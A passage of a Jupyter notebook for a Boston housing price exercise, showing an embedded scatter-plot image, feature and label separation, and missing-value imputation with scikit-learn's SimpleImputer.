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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "housing.plot(kind=\"scatter\", x=\"RM\", y=\"MEDV\", alpha=0.8)" - ] - }, - { - "cell_type": "code", - "execution_count": 22, - "metadata": {}, - "outputs": [], - "source": [ - "housing = strat_train_set.drop(\"MEDV\", axis=1)\n", - "housing_labels = strat_train_set[\"MEDV\"].copy()" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Missing Attributes" - ] - }, - { - "cell_type": "raw", - "metadata": {}, - "source": [ - "To take care of missing attributes, you have 3 options\n", - " 1. get Rid of the missing data points\n", - " a=housing.dropna(subset=[\"RM\"])\n", - " a.shape\n", - " 2. Get rid of the whole attribute\n", - " housing.drop(\"RM\", axis=1)\n", - " 3. Set the value to some value(0,mean or medium)\n", - " #median=housing[\"RM\"].median()\n", - " #housing[\"RM\"].fillna(median)\n", - " #housing.shape" - ] - }, - { - "cell_type": "code", - "execution_count": 23, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "(404, 13)" - ] - }, - "execution_count": 23, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "median = housing[\"RM\"].median()\n", - "housing[\"RM\"].fillna(median)\n", - "housing.shape" - ] - }, - { - "cell_type": "code", - "execution_count": 24, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "SimpleImputer(strategy='median')" - ] - }, - "execution_count": 24, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "from sklearn.impute import SimpleImputer\n", - "\n", - "imputer = SimpleImputer(strategy=\"median\")\n", - "imputer.fit(housing)" - ] - }, - { - "cell_type": "code", - "execution_count": 25, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "array([2.86735e-01, 0.00000e+00, 9.90000e+00, 0.00000e+00, 5.38000e-01,\n", - " 6.21000e+00, 7.82000e+01, 3.12220e+00, 5.00000e+00, 3.37000e+02,\n", - " 1.90000e+01, 3.90955e+02, 1.15700e+01])" - ] - }, - "execution_count": 25, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "imputer.statistics_.shape\n", - "imputer.statistics_" - ] - }, - { - "cell_type": "code", - "execution_count": 26, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", 